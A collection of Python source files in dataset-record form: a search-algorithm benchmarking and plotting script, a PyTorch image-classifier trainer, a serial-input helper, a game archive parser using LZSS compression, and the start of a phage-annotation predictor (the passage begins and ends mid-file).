{item}\")\n else:\n print(f\"Depth #{depth} -> {item}\")\n \n print(\"Running all the algos for each depth (1 to 20):\\n\")\n run_algos(entry, goal_state, board)\n \n print(\"All statistics have been recorded and saved in .json files\")\n while True:\n print(\"Choose which graphs to show (1-3). To exit this loop please enter 0.\")\n print(\"Exiting will take you back initial menu!\")\n print(\"1. 'Time' Graph\")\n print(\"2. 'Nodes Generated' Graph\")\n print(\"3. 'Path Cost' Graph\")\n print(\"4. Rate of node generated\")\n choice = int(input(\"Choice: \"))\n if choice == 0:\n break\n elif choice == 1:\n time_graph()\n elif choice == 2:\n nodes_graph()\n elif choice == 3:\n cost_graph()\n elif choice == 4:\n node_by_time()\n else:\n continue\n\ndef run_algos(state_dict, goal, board):\n \n entry = {}\n clear_dict(entry)\n \n #BFS\n sys.stdout.write(\"Generating stats for BFS..\") \n for x in range(1, 21):\n result = bfs(Node(state_dict[x], goal, None, None, 0, 0), board, verbose=False)\n if result.verdict == \"success\":\n entry[x][\"time\"] = result.elapsed_time\n entry[x][\"nodes\"] = result.gen_nodes\n entry[x][\"cost\"] = result.node.path_cost\n sys.stdout.write(f\" #{x},\")\n else:\n entry[x][\"time\"] = 0.0\n entry[x][\"nodes\"] = 0\n entry[x][\"cost\"] = 0\n sys.stdout.write(f\" #{x}(F),\")\n print(\"\")\n write_file(entry, \"bfs\")\n clear_dict(entry)\n \n #DLS\n sys.stdout.write(\"Generating stats for DLS..\") \n for x in range(1, 21):\n result = dls(Node(state_dict[x], goal, None, None, 0, 0), board, x+1, verbose=False)\n if result.verdict == \"success\":\n entry[x][\"time\"] = result.elapsed_time\n entry[x][\"nodes\"] = result.gen_nodes\n entry[x][\"cost\"] = result.node.path_cost\n sys.stdout.write(f\" #{x},\")\n else:\n entry[x][\"time\"] = 0.0\n entry[x][\"nodes\"] = 0\n entry[x][\"cost\"] = 0\n sys.stdout.write(f\" #{x}(F),\")\n print(\"\")\n write_file(entry, \"dls\")\n clear_dict(entry)\n \n #IDS\n sys.stdout.write(\"Generating stats for IDS..\") \n for x in range(1, 21):\n result = ids(Node(state_dict[x], goal, None, None, 0, 0), board, 0, verbose=False)\n if result.verdict == \"success\":\n entry[x][\"time\"] = result.elapsed_time\n entry[x][\"nodes\"] = result.gen_nodes\n entry[x][\"cost\"] = result.node.path_cost\n sys.stdout.write(f\" #{x},\")\n else:\n entry[x][\"time\"] = 0.0\n entry[x][\"nodes\"] = 0\n entry[x][\"cost\"] = 0\n sys.stdout.write(f\" #{x}(F),\")\n print(\"\")\n write_file(entry, \"ids\")\n clear_dict(entry)\n \n #UCS\n sys.stdout.write(\"Generating stats for UCS..\") \n for x in range(1, 21):\n result = ucs(NodeGCost(state_dict[x], goal, None, None, 0, 0), board, verbose=False)\n if result.verdict == \"success\":\n entry[x][\"time\"] = result.elapsed_time\n entry[x][\"nodes\"] = result.gen_nodes\n entry[x][\"cost\"] = result.node.path_cost\n sys.stdout.write(f\" #{x},\")\n else:\n entry[x][\"time\"] = 0.0\n entry[x][\"nodes\"] = 0\n entry[x][\"cost\"] = 0\n sys.stdout.write(f\" #{x}(F),\")\n print(\"\")\n write_file(entry, \"ucs\")\n clear_dict(entry)\n \n #GBFS\n sys.stdout.write(\"Generating stats for GBFS..\") \n for x in range(1, 21):\n result = gbfs(Node(state_dict[x], goal, None, None, 0, 0), board, verbose=False)\n if result.verdict == \"success\":\n entry[x][\"time\"] = result.elapsed_time\n entry[x][\"nodes\"] = result.gen_nodes\n entry[x][\"cost\"] = result.node.path_cost\n sys.stdout.write(f\" #{x},\")\n else:\n entry[x][\"time\"] = 0.0\n entry[x][\"nodes\"] = 0\n entry[x][\"cost\"] = 0\n sys.stdout.write(f\" #{x}(F),\")\n print(\"\")\n write_file(entry, \"gbfs\")\n clear_dict(entry)\n \n #ASTAR\n sys.stdout.write(\"Generating stats for A*..\") \n for x in range(1, 21):\n result = a_star(NodeFCost(state_dict[x], goal, None, None, 0, 0), board, verbose=False)\n if result.verdict == \"success\":\n entry[x][\"time\"] = result.elapsed_time\n entry[x][\"nodes\"] = result.gen_nodes\n entry[x][\"cost\"] = result.node.path_cost\n sys.stdout.write(f\" #{x},\")\n else:\n entry[x][\"time\"] = 0.0\n entry[x][\"nodes\"] = 0\n entry[x][\"cost\"] = 0\n sys.stdout.write(f\" #{x}(F),\")\n print(\"\")\n write_file(entry, \"astar\")\n clear_dict(entry)\n\ndef time_graph():\n x_axis = [x for x in range(1, 21, 1)]\n \n time_bfs = []\n time_dls = []\n time_ucs = []\n time_ids = []\n time_gbfs = []\n time_astar = []\n \n print(\"Reading data from .json files..\")\n #BFS\n data = read_file(\"bfs\")\n for value in data.values():\n time_bfs.append(value[\"time\"])\n clear_dict(data)\n \n #DLS\n data = read_file(\"dls\")\n for value in data.values():\n time_dls.append(value[\"time\"])\n clear_dict(data)\n \n #IDS\n data = read_file(\"ids\")\n for value in data.values():\n time_ids.append(value[\"time\"])\n clear_dict(data) \n \n #UCS\n data = read_file(\"ucs\")\n for value in data.values():\n time_ucs.append(value[\"time\"])\n clear_dict(data)\n \n #GBFS\n data = read_file(\"gbfs\")\n for value in data.values():\n time_gbfs.append(value[\"time\"])\n clear_dict(data)\n \n #ASTAR\n data = read_file(\"astar\")\n for value in data.values():\n time_astar.append(value[\"time\"])\n clear_dict(data)\n print(\"Reading complete!\")\n \n print(\"Initiating graph..\")\n plt.style.use('seaborn-darkgrid')\n fig, ax = plt.subplots()\n plt.xticks(x_axis)\n \n print(\"Plotting the points..\")\n ax.plot(x_axis, time_bfs, 'C1', label='BFS')\n ax.plot(x_axis, time_dls, 'C2', label='DLS')\n ax.plot(x_axis, time_ids, 'C3', label='IDS')\n ax.plot(x_axis, time_ucs, 'C4', label='UCS')\n ax.plot(x_axis, time_gbfs, 'C5', label='GBFS')\n ax.plot(x_axis, time_astar, 'C6', label='A*')\n \n print(\"Setting legend and labels\")\n ax.legend()\n ax.set_title(\"Clock Time\")\n ax.set_xlabel(\"Depth\")\n ax.set_ylabel(\"Time (seconds)\")\n \n print(\"All done! Showing graph\")\n plt.show()\n\ndef nodes_graph():\n x_axis = [x for x in range(1, 21, 1)]\n \n nodes_bfs = []\n nodes_dls = []\n nodes_ucs = []\n nodes_ids = []\n nodes_gbfs = []\n nodes_astar = []\n \n #BFS\n data = read_file(\"bfs\")\n for value in data.values():\n nodes_bfs.append(value[\"nodes\"])\n clear_dict(data)\n \n #DLS\n data = read_file(\"dls\")\n for value in data.values():\n nodes_dls.append(value[\"nodes\"])\n clear_dict(data)\n \n #IDS\n data = read_file(\"ids\")\n for value in data.values():\n nodes_ids.append(value[\"nodes\"])\n clear_dict(data) \n \n #UCS\n data = read_file(\"ucs\")\n for value in data.values():\n nodes_ucs.append(value[\"nodes\"])\n clear_dict(data)\n \n #GBFS\n data = read_file(\"gbfs\")\n for value in data.values():\n nodes_gbfs.append(value[\"nodes\"])\n clear_dict(data)\n \n #ASTAR\n data = read_file(\"astar\")\n for value in data.values():\n nodes_astar.append(value[\"nodes\"])\n clear_dict(data)\n \n plt.style.use('seaborn-darkgrid')\n fig, ax = plt.subplots()\n plt.xticks(x_axis)\n \n ax.plot(x_axis, nodes_bfs, 'C1', label='BFS')\n ax.plot(x_axis, nodes_dls, 'C2', label='DLS')\n ax.plot(x_axis, nodes_ids, 'C3', label='IDS')\n ax.plot(x_axis, nodes_ucs, 'C4', label='UCS')\n ax.plot(x_axis, nodes_gbfs, 'C5', label='GBFS')\n ax.plot(x_axis, nodes_astar, 'C6', label='A*')\n \n ax.legend()\n ax.set_title(\"Nodes Generated\")\n ax.set_xlabel(\"Depth\")\n ax.set_ylabel(\"Number of Nodes\")\n \n plt.show()\n\ndef cost_graph():\n x_axis = [x for x in range(1, 21, 1)]\n \n cost_bfs = []\n cost_dls = []\n cost_ucs = []\n cost_ids = []\n cost_gbfs = []\n cost_astar = []\n \n #BFS\n data = read_file(\"bfs\")\n for value in data.values():\n cost_bfs.append(value[\"cost\"])\n clear_dict(data)\n \n #DLS\n data = read_file(\"dls\")\n for value in data.values():\n cost_dls.append(value[\"cost\"])\n clear_dict(data)\n \n #IDS\n data = read_file(\"ids\")\n for value in data.values():\n cost_ids.append(value[\"cost\"])\n clear_dict(data) \n \n #UCS\n data = read_file(\"ucs\")\n for value in data.values():\n cost_ucs.append(value[\"cost\"])\n clear_dict(data)\n \n #GBFS\n data = read_file(\"gbfs\")\n for value in data.values():\n cost_gbfs.append(value[\"cost\"])\n clear_dict(data)\n \n #ASTAR\n data = read_file(\"astar\")\n for value in data.values():\n cost_astar.append(value[\"cost\"])\n clear_dict(data)\n \n plt.style.use('seaborn-darkgrid')\n fig, ax = plt.subplots()\n plt.xticks(x_axis)\n \n ax.plot(x_axis, cost_bfs, 'C1', label='BFS')\n ax.plot(x_axis, cost_dls, 'C2', label='DLS')\n ax.plot(x_axis, cost_ids, 'C3', label='IDS')\n ax.plot(x_axis, cost_ucs, 'C4', label='UCS')\n ax.plot(x_axis, cost_gbfs, 'C5', label='GBFS')\n ax.plot(x_axis, cost_astar, 'C6', label='A*')\n \n ax.legend()\n ax.set_title(\"Path Cost\")\n ax.set_xlabel(\"Depth\")\n ax.set_ylabel(\"Cost\")\n \n plt.show()\n\ndef node_by_time():\n x_axis = [x for x in range(1, 21, 1)]\n \n time_bfs = []\n time_dls = []\n time_ucs = []\n time_ids = []\n time_gbfs = []\n time_astar = []\n \n nodes_bfs = []\n nodes_dls = []\n nodes_ucs = []\n nodes_ids = []\n nodes_gbfs = []\n nodes_astar = []\n \n #BFS\n data = read_file(\"bfs\")\n for value in data.values():\n time_bfs.append(value[\"time\"])\n nodes_bfs.append(value[\"nodes\"])\n clear_dict(data)\n \n #DLS\n data = read_file(\"dls\")\n for value in data.values():\n time_dls.append(value[\"time\"])\n nodes_dls.append(value[\"nodes\"])\n clear_dict(data)\n \n #IDS\n data = read_file(\"ids\")\n for value in data.values():\n time_ids.append(value[\"time\"])\n nodes_ids.append(value[\"nodes\"])\n clear_dict(data) \n \n #UCS\n data = read_file(\"ucs\")\n for value in data.values():\n time_ucs.append(value[\"time\"])\n nodes_ucs.append(value[\"nodes\"])\n clear_dict(data)\n \n #GBFS\n data = read_file(\"gbfs\")\n for value in data.values():\n time_gbfs.append(value[\"time\"])\n nodes_gbfs.append(value[\"nodes\"])\n clear_dict(data)\n \n #ASTAR\n data = read_file(\"astar\")\n for value in data.values():\n time_astar.append(value[\"time\"])\n nodes_astar.append(value[\"nodes\"])\n clear_dict(data)\n\n ratio_bfs = []\n ratio_dls = []\n ratio_ids = []\n ratio_ucs = []\n ratio_gbfs = []\n ratio_astar = []\n\n for x in range(0, 20):\n ratio_bfs.append(nodes_bfs[x] / time_bfs[x])\n ratio_dls.append(nodes_dls[x] / time_dls[x]) \n ratio_ids.append(nodes_ids[x] / time_ids[x])\n ratio_ucs.append(nodes_ucs[x] / time_ucs[x])\n ratio_gbfs.append(nodes_gbfs[x] / time_gbfs[x])\n ratio_astar.append(nodes_astar[x] / time_astar[x])\n plt.style.use('seaborn-darkgrid')\n fig, ax = plt.subplots()\n plt.xticks(x_axis)\n \n ax.plot(x_axis, ratio_bfs, 'C1', label='BFS')\n ax.plot(x_axis, ratio_dls, 'C2', label='DLS')\n ax.plot(x_axis, ratio_ids, 'C3', label='IDS')\n ax.plot(x_axis, ratio_ucs, 'C4', label='UCS')\n ax.plot(x_axis, ratio_gbfs, 'C5', label='GBFS')\n ax.plot(x_axis, ratio_astar, 'C6', label='A*')\n \n ax.legend()\n ax.set_title(\"Rate vs Depth\")\n ax.set_xlabel(\"Depth\")\n ax.set_ylabel(\"Rate\")\n \n plt.show()\n\n \ndef read_file(name):\n path = \"data/\" + name + \".json\"\n with open(path, \"r\") as file_obj:\n data = json.load(file_obj)\n return data\n \ndef write_file(entry, name):\n path = \"data/\" + name + \".json\"\n with open(path, \"w\") as file_obj:\n json.dump(entry, file_obj, indent=4)\n print(f\"written to {path}\\n\")\n \ndef clear_dict(entry):\n for x in range(1, 21, 1):\n entry[x] = {\n \"time\": 0.0,\n \"nodes\": 0,\n \"cost\": 0\n }\nif __name__ == '__main__':\n time_graph()","repo_name":"GStormx2/ai-search-algos","sub_path":"ai_ass1/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":14274,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"72312216833","text":"# @ FileName: agent.py\n# @ Author: Alexis\n# @ Time: 20-11-28 下午9:17\nimport os\nfrom os.path import join\nimport numpy as np\nimport torch\nfrom tensorboardX import SummaryWriter\nfrom src import tool, logger\nfrom src import dataset as DataSet\nfrom src import net as Model\nfrom src import action as Action\n\n\nclass Trainer:\n\n def __init__(self, args):\n # cuda setting\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = args['cuda']\n\n # dir setting\n self.model_dir = args['model_dir']\n self.best_model_dir = args['best_model_dir']\n self.step_model_dir = args['step_model_dir']\n tool.check_mkdir(self.model_dir)\n tool.check_mkdir(self.best_model_dir)\n\n # dataset setting\n self.dataloader = DataSet.get_dataloader(args)\n self.no_eval = args['no_eval']\n self.personal_eval = args['personal_eval']\n self.img_size = args['img_size']\n args['mean'] = self.dataloader.mean\n args['std'] = self.dataloader.std\n args['num_classes'] = self.dataloader.num_classes\n\n # basic setting\n self.opt_type = args['optimizer']\n self.lr = args['lr']\n self.lr_epoch = args['lr_epoch']\n self.epoch = args['epoch']\n self.weight = args['weight']\n self.eval_best = 0\n self.eval_best_epoch = 0\n self.save_cm = args['save_cm'] # save confusion matrix\n\n # model name config\n self.model_desc = '{}_{}_{}_{}'. \\\n format(args['dataset'], args['model'], args['action'], args['desc'])\n self.model_pkl = self.model_desc + '.ckpt'\n\n # logger setup\n self.pblog = logger.get_pblog()\n self.pblog.total = self.epoch\n self.tblog = SummaryWriter(join(args['tb_dir'], self.model_desc))\n\n # model setup\n self.action = Action.get_action(args)\n self.model = Model.get_net(args)\n\n if args['pre_train']:\n state_dir = join(self.model_dir, self.model_desc)\n state = torch.load(state_dir, map_location='cpu')\n self.model.load_state_dict(state['net'])\n self.model.cuda()\n # self.action.save_graph(self.model, self.img_size, self.tblog,\n # self.pblog)\n\n if torch.cuda.device_count() > 1:\n self.model = torch.nn.DataParallel(self.model)\n # ism: IS using Multiple gpus\n self.ism = True\n else:\n self.ism = False\n\n def __del__(self):\n if hasattr(self, 'tb_log'):\n self.tblog.close()\n\n def train(self):\n self.pblog.info(self.model_desc)\n optimizer = None\n for epoch in range(self.epoch):\n # get optimizer\n temp = self.action.update_opt(epoch, self.model, self.opt_type,\n self.lr, self.lr_epoch)\n if temp is not None:\n optimizer = temp\n\n self.model.train()\n loss_l = []\n loss_n = []\n dl_len = len(self.dataloader.train)\n ll = len(self.action.eval_legend)\n c_right = np.zeros(ll, np.float32)\n c_sum = np.zeros(ll, np.float32)\n main_loss = 0\n for idx, item in enumerate(self.dataloader.train):\n tx, ty = item['image'], item['label']\n tx, ty = tx.cuda(non_blocking=True), ty.cuda(non_blocking=True)\n # get network output logits\n logits = self.action.cal_logits(tx, self.model)\n # cal loss\n loss = self.action.cal_loss(ty, logits, self.weight)\n # cal acc\n right_e, sum_e = self.action.cal_eval(ty, logits)\n # backward\n optimizer.zero_grad()\n loss[0].backward()\n optimizer.step()\n\n c_right += right_e\n c_sum += sum_e\n loss_l.append([ii.item() for ii in loss])\n loss_n.append(ty.size(0))\n main_loss += loss[0].item()\n self.pblog.pb(idx, dl_len, 'Loss: %.5f | Acc: %.3f%%' % (\n main_loss / (idx + 1), c_right / c_sum))\n loss_l = np.array(loss_l).T\n loss_n = np.array(loss_n)\n loss = (loss_l * loss_n).sum(axis=1) / loss_n.sum()\n c_res = c_right / c_sum\n\n msg = 'Epoch: {:>3}'.format(epoch)\n loss_scalars = self.action.cal_scalars(loss,\n self.action.loss_legend, msg,\n self.pblog)\n self.tblog.add_scalars('loss', loss_scalars, epoch)\n\n msg = 'train-> '\n acc_scalars = self.action.cal_scalars(c_res,\n self.action.eval_legend, msg,\n self.pblog)\n self.tblog.add_scalars('eval/train', acc_scalars, epoch)\n\n if not self.no_eval:\n if not self.personal_eval:\n with torch.no_grad():\n self.eval(epoch)\n else:\n with torch.no_grad():\n self.eval_personal(epoch)\n\n path = os.path.join(self.model_dir, self.model_desc)\n self.action.save_model(self.ism, self.model, path, self.eval_best,\n self.eval_best_epoch)\n self.pblog.debug('Training completed, save the last epoch model')\n temp = 'Result, Best: {:.2f}%, Epoch: {}'.format(self.eval_best,\n self.eval_best_epoch)\n self.tblog.add_text('best', temp, self.epoch)\n self.pblog.info(temp)\n\n def eval(self, epoch):\n self.model.eval()\n ll = len(self.action.eval_legend)\n c_right = np.zeros(ll, np.float32)\n c_sum = np.zeros(ll, np.float32)\n dl_len = len(self.dataloader.eval)\n labels = []\n predictions = []\n for idx, item in enumerate(self.dataloader.eval):\n x, y = item['image'], item['label']\n x, y = x.cuda(non_blocking=True), y.cuda(non_blocking=True)\n logits = self.action.cal_logits(x, self.model)\n right_e, sum_e = self.action.cal_eval(y, logits)\n c_right += right_e\n c_sum += sum_e\n labels.extend(y.cpu().data)\n predictions.extend(logits.argmax(1).cpu().data)\n self.pblog.pb(idx, dl_len, 'Acc: %.3f %%' % (c_right / c_sum))\n msg = 'eval-> '\n c_res = c_right / c_sum\n acc_scalars = self.action.cal_scalars(c_res, self.action.eval_legend,\n msg, self.pblog)\n self.tblog.add_scalars('eval/eval', acc_scalars, epoch)\n\n if self.save_cm:\n cm_figure = self.action.log_confusion_matrix(labels, predictions,\n self.dataloader.class_names)\n self.tblog.add_figure('Confusion Matrix', cm_figure, epoch)\n\n if c_res[0] > self.eval_best and epoch > 30:\n self.eval_best_epoch = epoch\n self.eval_best = c_res[0]\n path = os.path.join(self.best_model_dir, 'Best_' + self.model_desc)\n self.action.save_model(self.ism, self.model, path, self.eval_best,\n self.eval_best_epoch)\n self.pblog.debug('Update the best model')\n\n def eval_personal(self, epoch):\n self.model.eval()\n ll = len(self.action.eval_legend)\n c_right = np.zeros(ll, np.float32)\n c_sum = np.zeros(ll, np.float32)\n dl_len = len(self.dataloader.eval)\n\n labels = []\n predictions = []\n preindex = None\n prelabel = None\n personal_vote = [0. for i in range(2)]\n class_correct = list(0. for i in range(2))\n class_total = list(0. for i in range(2))\n for idx, item in enumerate(self.dataloader.eval):\n x, y, img_names = item['image'], item['label'], item['img_name']\n x, y = x.cuda(non_blocking=True), y.cuda(non_blocking=True)\n logits = self.action.cal_logits(x, self.model)\n _, prediction = torch.max(logits.data, 1)\n for i, name in enumerate(img_names):\n index, *_ = name.split('_')\n # init pre\n if preindex is None:\n preindex = index\n if prelabel is None:\n prelabel = y[0]\n\n if index != preindex:\n if personal_vote[0] >= personal_vote[1]:\n predictions.append(0)\n if prelabel == 0:\n class_correct[0] += 1\n else:\n predictions.append(1)\n if prelabel == 1:\n class_correct[1] += 1\n labels.append(prelabel.item())\n class_total[prelabel] += 1\n personal_vote = [0. for i in range(2)]\n preindex = index\n prelabel = y[i]\n personal_vote[prediction[i]] += 1\n\n else:\n personal_vote[prediction[i]] += 1\n\n self.pblog.pb(idx, dl_len, 'Sen: %.3f %% | Spe: %.3f %%' % (\n 100 * class_correct[0] / (class_total[0] + 1e-6), 100 * class_correct[1] / (class_total[1] + 1e-6)))\n\n # deal the last patient\n if personal_vote[0] >= personal_vote[1]:\n predictions.append(0)\n if prelabel == 0:\n class_correct[0] += 1\n else:\n predictions.append(1)\n if prelabel == 1:\n class_correct[1] += 1\n\n labels.append(prelabel.item())\n class_total[prelabel] += 1\n\n msg = 'eval-> '\n c_res = [100 * class_correct[0] / class_total[0], 100 * class_correct[1] / class_total[1]]\n acc_scalars = self.action.cal_scalars(c_res, self.action.eval_personal_legend,\n msg, self.pblog)\n self.tblog.add_scalars('eval/eval', acc_scalars, epoch)\n\n if self.save_cm:\n cm_figure = self.action.log_confusion_matrix(labels, predictions,\n self.dataloader.class_names)\n self.tblog.add_figure('Confusion Matrix', cm_figure, epoch)\n\n if c_res[0] > self.eval_best and epoch > 30 and class_correct[1] / class_total[1] >= 0.85:\n self.eval_best_epoch = epoch\n self.eval_best = c_res[0]\n path = os.path.join(self.best_model_dir, 'Best_' + self.model_desc)\n self.action.save_model(self.ism, self.model, path, self.eval_best,\n self.eval_best_epoch)\n self.pblog.debug('Update the best model')\n\n # if epoch % 10 == 0:\n # path = os.path.join(self.step_model_dir, 'step_{}_'.format(str(epoch / 10)) + self.model_desc)\n # self.action.save_model(self.ism, self.model, path, self.eval_best, self.eval_best_epoch)\n # self.pblog.debug('Update the step model')\n","repo_name":"youngyzzZ/Sonographic-Gallbladder-Images-for-BA-Diagnosis","sub_path":"src/agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":11191,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"6393534477","text":"# -*- coding: utf-8 -*-\n\"\"\"\nModules file for the plotters, which will be used for multiple codes.\nAuthor: Ithallo Junior Alves Guimarães\nMarch 2019\n\"\"\"\n\nimport settings\n\n#converts the two bytes into a single number\ndef convert_input(a, b):\n if (a==\"\" or b==\"\"):\n return None # because it is non-blocking if it hangs\n\n value = ord(a[0]) *256 + ord(b[0]) \n\n if (settings.remove_mean):\n return settings.voltage_range * (value/1023.)\n \n else: \n if (settings.voltage_range is not None):\n return (settings.voltage_range * (value/1023.)) - settings.offset\n else:\n return value \n \n","repo_name":"ithallojunior/data_transmission","sub_path":"python_code/modules.py","file_name":"modules.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11444415541","text":"from __future__ import annotations\n\nimport io\nimport sysconfig\n\nfrom pathlib import Path\nfrom dataclasses import dataclass\nfrom enum import IntEnum\nfrom typing import List, BinaryIO\n\n# Logging\nfrom logging import getLogger\n\n# C garbage\nimport ctypes\nfrom ctypes import cdll\n\nlogger = getLogger(\"ptr2tools\")\n\nEXT_SUFFIX = sysconfig.get_config_var(\"EXT_SUFFIX\")\nLIB_PATH = Path(__file__).parent.parent / f\"lzss{EXT_SUFFIX}\"\nlogger.debug(f\"loading LZSS library from {LIB_PATH}\")\nlzss = cdll.LoadLibrary(str(LIB_PATH))\n\n\nclass IntChunkType(IntEnum):\n end = 0\n textures = 1\n sounds = 2\n stage = 3\n red_hat = 4\n blue_hat = 5\n pink_hat = 6\n yellow_hat = 7\n\n\n@dataclass\nclass IntFile:\n name: str\n contents: bytes\n\n\n@dataclass\nclass IntChunk:\n type: IntChunkType\n files: List[IntFile]\n\n @classmethod\n def load(cls, stream: BinaryIO) -> IntChunk:\n logger.debug(\"abc\")\n\n # The offsets are relative to the start of the chunk, so I do a tell here to determine where that is\n chunk_offset = stream.tell()\n magic = stream.read(4)\n if magic != b\"\\x11\\x22\\x33\\x44\":\n logger.debug(f\"magic is invalid, got {magic}\")\n raise ValueError(f\"magic is invalid\")\n\n file_count = int.from_bytes(stream.read(4), byteorder=\"little\")\n chunk_type = IntChunkType(int.from_bytes(stream.read(4), byteorder=\"little\"))\n\n if chunk_type == IntChunkType.end:\n # we don't need to keep reading\n return cls(type=IntChunkType.end, files=[])\n\n files: List[IntFile] = []\n\n info_offset = int.from_bytes(stream.read(4), byteorder=\"little\")\n data_offset = int.from_bytes(stream.read(4), byteorder=\"little\")\n data_size = int.from_bytes(stream.read(4), byteorder=\"little\")\n\n if stream.read(8) != b\"\\x00\" * 8:\n raise ValueError(\"nul bytes missing\")\n\n file_offsets = []\n for file_index in range(file_count + 1): # i think there is an extra offset for some reason\n file_offsets.append(int.from_bytes(stream.read(4), byteorder=\"little\"))\n\n stream.seek(chunk_offset + info_offset)\n\n # list of name offset and compressed file size\n file_name_offsets = []\n file_lengths = []\n for file_index in range(file_count):\n file_name_offsets.append(int.from_bytes(stream.read(4), byteorder=\"little\"))\n file_lengths.append(int.from_bytes(stream.read(4), byteorder=\"little\"))\n # now we compile this all together\n\n # reading null-terminated strings in python is a PITA and can be slow\n # i cheat around it by just reading everything until the file contents start and then just splitting by NUL\n name_data = stream.read((\n (chunk_offset + data_offset + info_offset) - stream.tell() # data offset is relative to info offset\n )).strip(b\"\\x00\").decode(\"ascii\")\n file_names = name_data.split(\"\\x00\")\n\n # now we are right at the start of the data, so we can just read data_size bytes\n uncompressed_size = int.from_bytes(stream.read(4), byteorder=\"little\")\n compressed_size = int.from_bytes(stream.read(4), byteorder=\"little\")\n misc_buffer = ctypes.create_string_buffer(0x1000)\n compressed_buffer = ctypes.create_string_buffer(stream.read(data_size - 8))\n uncompressed_buffer = ctypes.create_string_buffer(uncompressed_size)\n\n lzss.lzss_decompress(\n 12, 4, 2, 2,\n misc_buffer,\n compressed_buffer,\n compressed_size,\n uncompressed_buffer,\n uncompressed_size,\n )\n\n uncompressed_stream = io.BytesIO(uncompressed_buffer.raw)\n\n for file_index in range(file_count):\n file_name = file_names[file_index]\n file_offset = file_offsets[file_index]\n file_length = file_lengths[file_index]\n\n uncompressed_stream.seek(file_offset)\n\n files.append(IntFile(\n name=file_name,\n contents=uncompressed_stream.read(file_length)\n ))\n\n return cls(\n type=chunk_type,\n files=files\n )\n\n def dump(self, stream: BinaryIO):\n stream.write(b\"\\x11\\x22\\x33\\x44\")\n stream.write(len(self.files).to_bytes(4, \"little\"))\n stream.write(self.type.value.to_bytes(4, \"little\"))\n\n file_lengths = [len(file.contents) for file in self.files]\n file_offsets = [sum(file_lengths[:i]) for i in range(len(file_lengths) + 1)]\n file_offsets_blob = b\"\".join(file_offset.to_bytes(4, \"little\") for file_offset in file_offsets)\n\n data_blob = b\"\".join(file.contents for file in self.files)\n\n # compress\n misc_buffer = ctypes.create_string_buffer(0x2000)\n uncompressed_buffer = ctypes.create_string_buffer(data_blob)\n\n compressed_length = lzss.lzss_compress(\n 12, 4, 2, 2,\n misc_buffer,\n uncompressed_buffer, len(data_blob),\n None\n )\n\n compressed_buffer = ctypes.create_string_buffer(compressed_length)\n\n lzss.lzss_compress(\n 12, 4, 2, 2,\n misc_buffer,\n uncompressed_buffer, len(data_blob),\n compressed_buffer\n )\n\n compressed_data = compressed_buffer.raw\n\n # done!\n file_names = [file.name.encode(\"ascii\") + b\"\\x00\" for file in self.files]\n file_name_lengths = [len(name) for name in file_names]\n file_name_offsets = [sum(file_name_lengths[:i]) for i in range(len(file_lengths))] # note - +1 is absent here.\n names_blob = b\"\".join(file_names)\n\n info_offset = 0x20 + len(file_offsets_blob)\n\n data_size = len(data_blob)\n\n info_blob = b\"\".join(\n file_name_offset.to_bytes(4, \"little\") + file_length.to_bytes(4, \"little\")\n for file_name_offset, file_length in zip(file_name_offsets, file_lengths)\n )\n\n data_offset = len(info_blob) + len(names_blob)\n\n stream.write(info_offset.to_bytes(4, \"little\"))\n stream.write(data_offset.to_bytes(4, \"little\"))\n stream.write((compressed_length + 8).to_bytes(4, \"little\"))\n stream.write(b\"\\x00\"*8)\n\n stream.write(file_offsets_blob)\n stream.write(info_blob)\n stream.write(names_blob)\n\n stream.write(data_size.to_bytes(4, \"little\"))\n stream.write((compressed_length + 8).to_bytes(4, \"little\"))\n stream.write(compressed_data)\n\n\n@dataclass\nclass IntContainer:\n chunks: List[IntChunk]\n\n @classmethod\n def load(cls, stream: BinaryIO) -> IntContainer:\n chunks = []\n\n while True:\n chunk = IntChunk.load(stream)\n\n if chunk.type == IntChunkType.end:\n break\n\n chunks.append(chunk)\n\n return cls(chunks)\n\n def dump(self, stream: BinaryIO):\n for chunk in self.chunks:\n chunk.dump(stream)\n IntChunk(type=IntChunkType.end, files=[]).dump(stream) # dump the phantom chunk ghost!\n","repo_name":"jmkd3v/ptr2tools-python","sub_path":"ptr2tools/int.py","file_name":"int.py","file_ext":"py","file_size_in_byte":7024,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"42803757717","text":"\"\"\"\nModule to create a predictor object\n\nIs an option to parse an custom dictionary for the confidence kde if the user trains their own model\n\"\"\"\n\nimport glob\nimport pickle\nimport sys\n\nimport click\nimport numpy as np\n# imports\nimport tensorflow as tf\nfrom Bio import SeqIO\nfrom loguru import logger\n\nfrom phynteny_utils import format_data, handle_genbank, statistics\n\n\ndef get_dict(dict_path):\n \"\"\"\n Helper function to import dictionaries\n\n :param dict_path: path to the dictionary to read\n :return: dictionary object\n \"\"\"\n\n with open(dict_path, \"rb\") as handle:\n dictionary = pickle.load(handle)\n\n handle.close()\n\n return dictionary\n\n\ndef get_models(models):\n \"\"\"\n Load in genbank models\n\n :param models: path of directory where model obejects are located\n :return: list of models to iterate over\n \"\"\"\n files = glob.glob(models + \"/*\")\n\n if len(files) == 0:\n logger.critical(\"Models directory is empty\")\n if len(files) == 1:\n logger.warning(\n \"Only one model was found. Use an ensemble of multiple models for best results.\"\n )\n if len([m for m in files if \"h5\" not in m]):\n logger.warning(\n \"there are files in your models directory which are not tensorflow models\"\n )\n\n return [tf.keras.models.load_model(m) for m in files if \"h5\" in m]\n\n\ndef run_phynteny(outfile, gene_predictor, gb_dict, categories):\n \"\"\"\n Run Phynteny\n\n :param outfile: path to output genbank file\n :param gene_predictor: gene_predictor obejct to use for predictions\n :param gb_dict: dictionary of phages and their annotations\n :param categories: dictionary mapping PHROG categories to their corresponding integer\n :return: annotated dictionary\n \"\"\"\n\n # get the list of phages to loop through\n keys = list(gb_dict.keys())\n\n # Run Phynteny\n with open(outfile, \"wt\") if outfile != \".gbk\" else sys.stdout as handle:\n for key in keys:\n # print the phage\n print(\"Annotating the phage: \" + key, flush=True)\n\n # get current phage\n phages = {key: 